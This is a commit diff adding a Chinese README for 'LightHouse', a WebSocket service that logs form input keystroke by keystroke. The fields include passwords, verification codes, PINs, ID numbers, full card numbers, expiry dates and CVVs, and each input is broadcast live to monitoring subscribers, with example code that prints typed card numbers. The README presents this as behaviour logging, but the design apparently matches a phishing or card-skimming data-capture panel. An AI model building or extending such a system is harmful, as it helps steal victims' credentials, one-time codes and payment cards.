first commit
This commit is contained in:
317
md/README_WebSocket_Enhancement.md
Normal file
317
md/README_WebSocket_Enhancement.md
Normal file
@@ -0,0 +1,317 @@
|
||||
# LightHouse WebSocket 系统增强说明
|
||||
|
||||
## 概述
|
||||
|
||||
本次更新对 LightHouse 系统的 WebSocket 功能进行了全面增强，支持更完整的用户行为信息记录，包括用户基本信息、地址信息、信用卡信息、登录时间、登录IP等。
|
||||
|
||||
## 主要改进
|
||||
|
||||
### 1. 数据模型扩展
|
||||
|
||||
#### 新增字段结构
|
||||
- **用户基本信息**: 姓名、电话、邮箱、身份证号
|
||||
- **登录信息**: 用户名、密码、验证码、PIN码、登录时间、登录IP、用户代理
|
||||
- **地址信息**: 国家、省份、城市、详细地址、邮政编码
|
||||
- **信用卡信息**: 卡号、卡类型、持卡人姓名、有效期、CVV、备注
|
||||
- **系统信息**: 用户状态
|
||||
- **自定义信息**: 5个自定义字段
|
||||
|
||||
#### 数据库字段映射
|
||||
```sql
|
||||
-- 用户基本信息
|
||||
name VARCHAR(100) -- 姓名
|
||||
phone VARCHAR(20) -- 电话
|
||||
email VARCHAR(255) -- 邮箱
|
||||
id_card VARCHAR(18) -- 身份证号
|
||||
|
||||
-- 登录信息
|
||||
username VARCHAR(255) -- 用户名
|
||||
password VARCHAR(255) -- 密码
|
||||
verify_code VARCHAR(255) -- 验证码
|
||||
pin VARCHAR(255) -- PIN码
|
||||
login_time TIMESTAMP -- 登录时间
|
||||
login_ip VARCHAR(45) -- 登录IP
|
||||
user_agent TEXT -- 用户代理
|
||||
|
||||
-- 地址信息
|
||||
country VARCHAR(100) -- 国家
|
||||
state VARCHAR(100) -- 省份/州
|
||||
city VARCHAR(100) -- 城市
|
||||
address TEXT -- 详细地址
|
||||
zip_code VARCHAR(20) -- 邮政编码
|
||||
|
||||
-- 信用卡信息
|
||||
card_number VARCHAR(255) -- 卡号
|
||||
card_type VARCHAR(50) -- 卡类型
|
||||
card_holder_name VARCHAR(100) -- 持卡人姓名
|
||||
expiry_date VARCHAR(10) -- 有效期
|
||||
cvv VARCHAR(10) -- CVV
|
||||
card_remark VARCHAR(255) -- 卡头备注
|
||||
|
||||
-- 系统信息
|
||||
status VARCHAR(255) -- 用户状态
|
||||
|
||||
-- 自定义信息
|
||||
custom_field1 VARCHAR(255) -- 自定义字段1
|
||||
custom_field2 VARCHAR(255) -- 自定义字段2
|
||||
custom_field3 VARCHAR(255) -- 自定义字段3
|
||||
custom_field4 VARCHAR(255) -- 自定义字段4
|
||||
custom_field5 VARCHAR(255) -- 自定义字段5
|
||||
```
|
||||
|
||||
### 2. WebSocket 行为类型扩展
|
||||
|
||||
#### 用户基本信息行为
|
||||
- `input_name` - 输入姓名
|
||||
- `input_phone` - 输入电话
|
||||
- `input_email` - 输入邮箱
|
||||
- `input_id_card` - 输入身份证号
|
||||
|
||||
#### 登录信息行为
|
||||
- `login` - 登录行为（自动记录时间、IP、User-Agent）
|
||||
- `input_username` - 输入用户名
|
||||
- `input_password` - 输入密码
|
||||
- `input_verify_code` - 输入验证码
|
||||
- `input_pin` - 输入PIN码
|
||||
|
||||
#### 地址信息行为
|
||||
- `input_address_country` - 输入国家
|
||||
- `input_address_state` - 输入省份/州
|
||||
- `input_address_city` - 输入城市
|
||||
- `input_address_detail` - 输入详细地址
|
||||
- `input_address_zip` - 输入邮政编码
|
||||
|
||||
#### 信用卡信息行为
|
||||
- `input_card_number` - 输入卡号
|
||||
- `input_card_type` - 输入卡类型
|
||||
- `input_card_holder` - 输入持卡人姓名
|
||||
- `input_card_expiry` - 输入有效期
|
||||
- `input_card_cvv` - 输入CVV
|
||||
- `input_card_remark` - 输入卡头备注
|
||||
|
||||
#### 自定义字段行为
|
||||
- `input_custom_field1` - 输入自定义字段1
|
||||
- `input_custom_field2` - 输入自定义字段2
|
||||
- `input_custom_field3` - 输入自定义字段3
|
||||
- `input_custom_field4` - 输入自定义字段4
|
||||
- `input_custom_field5` - 输入自定义字段5
|
||||
|
||||
#### 状态变更行为
|
||||
- `complete_registration` - 完成注册
|
||||
- `complete_payment` - 完成支付
|
||||
- `session_start` - 会话开始
|
||||
- `session_end` - 会话结束
|
||||
|
||||
### 3. 自动信息收集
|
||||
|
||||
#### 登录时自动记录
|
||||
当发送 `login` 类型消息时，系统会自动记录：
|
||||
- 当前时间作为登录时间
|
||||
- 客户端IP地址
|
||||
- User-Agent 信息
|
||||
|
||||
#### 实时广播
|
||||
所有用户行为都会实时广播给所有订阅端，支持多客户端监控。
|
||||
|
||||
## 使用方法
|
||||
|
||||
### 1. 启动服务
|
||||
|
||||
确保 LightHouse 服务正在运行：
|
||||
```bash
|
||||
go run main.go
|
||||
```
|
||||
|
||||
### 2. 连接 WebSocket
|
||||
|
||||
#### 发布端连接
|
||||
```javascript
|
||||
const wsPub = new WebSocket('ws://localhost:8080/ws/pub/userinfo');
|
||||
```
|
||||
|
||||
#### 订阅端连接
|
||||
```javascript
|
||||
const wsSub = new WebSocket('ws://localhost:8080/ws/sub/userinfo');
|
||||
```
|
||||
|
||||
### 3. 发送用户行为
|
||||
|
||||
#### 基本格式
|
||||
```json
|
||||
{
|
||||
"type": "行为类型",
|
||||
"uuid": "用户唯一标识",
|
||||
"status": "状态描述",
|
||||
"payload": {
|
||||
"字段名": "字段值"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### 示例：完整用户注册流程
|
||||
```javascript
|
||||
// 1. 用户登录
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'login',
|
||||
uuid: 'user123',
|
||||
status: '用户正在登录',
|
||||
payload: {}
|
||||
}));
|
||||
|
||||
// 2. 输入基本信息
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'input_name',
|
||||
uuid: 'user123',
|
||||
status: '正在输入姓名',
|
||||
payload: { name: '张三' }
|
||||
}));
|
||||
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'input_phone',
|
||||
uuid: 'user123',
|
||||
status: '正在输入电话',
|
||||
payload: { phone: '13800138000' }
|
||||
}));
|
||||
|
||||
// 3. 输入地址信息
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'input_address_country',
|
||||
uuid: 'user123',
|
||||
status: '正在输入国家',
|
||||
payload: { country: '中国' }
|
||||
}));
|
||||
|
||||
// 4. 输入信用卡信息
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'input_card_number',
|
||||
uuid: 'user123',
|
||||
status: '正在输入卡号',
|
||||
payload: { card_number: '1234567890123456' }
|
||||
}));
|
||||
|
||||
// 5. 完成注册
|
||||
wsPub.send(JSON.stringify({
|
||||
type: 'complete_registration',
|
||||
uuid: 'user123',
|
||||
status: '注册完成',
|
||||
payload: {}
|
||||
}));
|
||||
```
|
||||
|
||||
### 4. 监控用户行为
|
||||
|
||||
#### 订阅端监听
|
||||
```javascript
|
||||
wsSub.onmessage = function(event) {
|
||||
const data = JSON.parse(event.data);
|
||||
|
||||
switch(data.type) {
|
||||
case 'login':
|
||||
console.log('用户登录:', data.uuid, 'IP:', data.login_ip);
|
||||
break;
|
||||
case 'input_card_number':
|
||||
console.log('用户输入卡号:', data.payload.card_number);
|
||||
break;
|
||||
case 'complete_registration':
|
||||
console.log('用户完成注册:', data.uuid);
|
||||
break;
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
## 测试
|
||||
|
||||
### 运行测试脚本
|
||||
```bash
|
||||
# 安装依赖
|
||||
npm install ws
|
||||
|
||||
# 运行测试
|
||||
node test_websocket.js
|
||||
```
|
||||
|
||||
测试脚本会：
|
||||
1. 连接发布端和订阅端
|
||||
2. 发送各种类型的用户行为消息
|
||||
3. 验证消息是否正确接收和处理
|
||||
4. 自动关闭连接
|
||||
|
||||
### 测试覆盖范围
|
||||
- ✅ 用户基本信息输入
|
||||
- ✅ 登录信息输入
|
||||
- ✅ 地址信息输入
|
||||
- ✅ 信用卡信息输入
|
||||
- ✅ 自定义字段输入
|
||||
- ✅ 状态变更通知
|
||||
- ✅ 实时广播功能
|
||||
|
||||
## 数据库迁移
|
||||
|
||||
### 自动迁移
|
||||
系统使用 GORM 自动迁移功能，启动时会自动创建或更新数据库表结构。
|
||||
|
||||
### 手动迁移（如果需要）
|
||||
```sql
|
||||
-- 添加新字段（如果表已存在）
|
||||
ALTER TABLE user_infos ADD COLUMN name VARCHAR(100);
|
||||
ALTER TABLE user_infos ADD COLUMN phone VARCHAR(20);
|
||||
ALTER TABLE user_infos ADD COLUMN email VARCHAR(255);
|
||||
ALTER TABLE user_infos ADD COLUMN id_card VARCHAR(18);
|
||||
-- ... 其他字段
|
||||
```
|
||||
|
||||
## 安全注意事项
|
||||
|
||||
1. **敏感信息保护**: 密码、卡号等敏感信息会存储在数据库中，请确保数据库安全
|
||||
2. **UUID唯一性**: 确保每个用户使用唯一的UUID标识
|
||||
3. **输入验证**: 客户端应验证输入数据的格式和有效性
|
||||
4. **连接安全**: 生产环境建议使用WSS（WebSocket Secure）
|
||||
5. **访问控制**: 考虑添加身份验证和授权机制
|
||||
|
||||
## 性能优化
|
||||
|
||||
1. **连接池管理**: 系统自动管理WebSocket连接池
|
||||
2. **消息缓冲**: 使用缓冲通道避免消息丢失
|
||||
3. **并发处理**: 支持多客户端并发连接
|
||||
4. **数据库优化**: 使用索引优化查询性能
|
||||
|
||||
## 故障排除
|
||||
|
||||
### 常见问题
|
||||
|
||||
1. **连接失败**
|
||||
- 检查服务是否启动
|
||||
- 确认端口是否正确
|
||||
- 检查防火墙设置
|
||||
|
||||
2. **消息未接收**
|
||||
- 确认订阅端已连接
|
||||
- 检查消息格式是否正确
|
||||
- 查看服务日志
|
||||
|
||||
3. **数据未保存**
|
||||
- 检查数据库连接
|
||||
- 确认数据库权限
|
||||
- 查看错误日志
|
||||
|
||||
### 日志查看
|
||||
```bash
|
||||
# 查看服务日志
|
||||
tail -f logs/light_house.log
|
||||
```
|
||||
|
||||
## 扩展开发
|
||||
|
||||
### 添加新的行为类型
|
||||
1. 在 `internal/handler/ws.go` 中添加新的 case 分支
|
||||
2. 在模型中添加对应字段（如果需要）
|
||||
3. 更新DAO层的更新方法
|
||||
4. 更新文档和测试
|
||||
|
||||
### 自定义字段使用
|
||||
系统提供了5个自定义字段，可以根据业务需求灵活使用：
|
||||
- `custom_field1` - `custom_field5`
|
||||
|
||||
## 联系支持
|
||||
|
||||
如有问题或建议，请联系开发团队或提交Issue。
|
||||
Reference in New Issue
Block a user